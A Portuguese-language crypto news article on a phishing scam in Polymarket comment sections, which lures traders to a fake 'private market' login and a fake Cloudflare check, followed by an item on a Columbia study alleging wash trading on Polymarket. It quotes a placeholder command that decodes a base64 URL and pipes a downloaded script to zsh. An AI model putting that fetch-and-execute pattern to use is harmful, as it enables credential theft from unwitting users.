Links de phishing em mercados privados do Polymarket: Usuários levantam alerta

O Polymarket está novamente nas manchetes, desta vez porque um de seus traders seniores com o apelido de “25usdc” levantou o alerta sobre um esquema que usa a seção de comentários da plataforma para atacar usuários desavisados. 

Isso está acontecendo em um momento crucial para a plataforma Polymarket, pois ela está se preparando para retornar ao mercado dos EUA e está lutando para superar rivais como a Kalshi. 

Traders do Polymarket em alerta máximo 

De acordo com 25usdc, os hackers têm usado a seção de comentários do Polymarket para executar um golpe, e até agora, os usuários perderam mais de US$ 500.000.

“Eles dizem: ‘Por que você não está negociando nos mercados privados do Polymarket? As chances são sempre muito melhores lá!’” 25usdc escreveu, antes de explicar como todo o golpe funciona. 

De acordo com ele, tudo começa com eles comprando ações de Sim e Não para um mercado de duas contas separadas. Dessa forma, seus comentários ainda estão lá mesmo quando o filtro “Holders” está ativado. Depois disso, eles postam uma URL para seu site de forma ofuscada.

A URL leva o usuário desavisado a uma página com aparência limpa com o logotipo do Polymarket e solicita o login dos usuários por e-mail. Uma vez que o e-mail é verificado, uma nova janela aparece pedindo ao usuário para verificar sua atividade, imitando o CloudFlare. 

No entanto, 25usdc diz que quando você clica em “Copiar”, um comando que se parece com algo como “curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh” é copiado em vez disso, e a primeira coisa que ele faz, se o usuário cometer o erro de colá-lo em seu terminal, é decodificar a string codificada em base64 (uma URL do servidor), após o qual ele busca um script desse servidor e o executa imediatamente. 

O script em questão pode conter qualquer coisa, e não haverá supostamente nenhum aviso pop-up, momento em que o dano já foi feito, e o único remédio, de acordo com 25usdc, pode ser desligar o Wi-Fi. 

“No final, eles reúnem dados, registram tudo no seu sistema e enviam um zip de volta para o servidor deles”, escreveu 25usdc. “Eles então usam esses dados para fazer login em suas contas e roubar seu dinheiro.”

Outras coisas que ele notou foram como o grupo opera com cuidado; por exemplo, eles cobrem seus rastros mudando de carteiras com frequência, ofuscam em cada etapa do caminho e até desligam o servidor que envia payloads e recebe dados registrados quando não há vítima ativa.

“Acho que a melhor maneira de abordar isso é permitir que usuários confiáveis revisem os comentários ou introduzir um sistema de downvote que oculte postagens fortemente rejeitadas”, concluiu 25usdc, apontando que o simples alertando Polymarket atualmente exibirá não será suficiente. 

Aviso: Não existe site de “mercado privado” do Polymarket com “melhores chances”

Nunca insira seu e-mail do Polymarket ou código de verificação de login em nada além de nosso site oficial.

— Polymarket Traders (@PolymarketTrade) 9 de novembro de 2025

Novo estudo afirma que o volume do Polymarket é sustentado por wash trading

Como o Cryptopolitan reportou, um estudo recentemente publicado por pesquisadores da Universidade de Columbia afirma que o volume de atividade no Polymarket foi significativamente inflado por wash trading. 

O “comércio artificial”, como os autores o chamaram, variou ao longo do tempo, mas eles dizem que representou uma média de 25% de todas as compras e vendas no Polymarket nos últimos três anos. 

O artigo não passou por revisão por pares, mas já está disponível na plataforma de pesquisa de acesso aberto SSRN e está sendo revisado pelo Polymarket. 

Para ser claro, os autores não acusam Polymarket diretamente de wash trading. No entanto, eles destacaram elementos da estrutura baseada em criptomoedas da exchange que tornam a alegação plausível.  

Eles também sugeriram que os clientes da empresa podem ter se envolvido independentemente nesse wash trading na tentativa de melhorar suas chances de obter acesso a um token digital proprietário que o fundador da empresa, Shayne Coplan, insinuou a possibilidade de lançar tão recentemente quanto 8 de outubro. 

“Estou esperançoso de que o Polymarket acolherá a análise em nosso artigo”, disse Yash Kanoria, professor da escola de negócios da Universidade de Columbia e um dos quatro coautores do artigo, em um e-mail. “O wash trading não adiciona liquidez ou informação ao mercado, então parece valioso distinguir o volume autêntico do inautêntico.”

Se parte do volume do Polymarket for verdadeiramente “fictício”, o estudo afirma que isso poderia alterar a compreensão da força relativa do Polymarket na indústria e também minaria a noção atual de que os mercados de previsão refletem a “sabedoria de uma multidão maior.”

“O potencial para wash trading em larga escala significa que o volume pode ser pouco confiável como métrica de atividade autêntica da plataforma, especialmente em exchanges baseadas em criptomoedas que podem não ter salvaguardas adequadas”, concluíram os autores.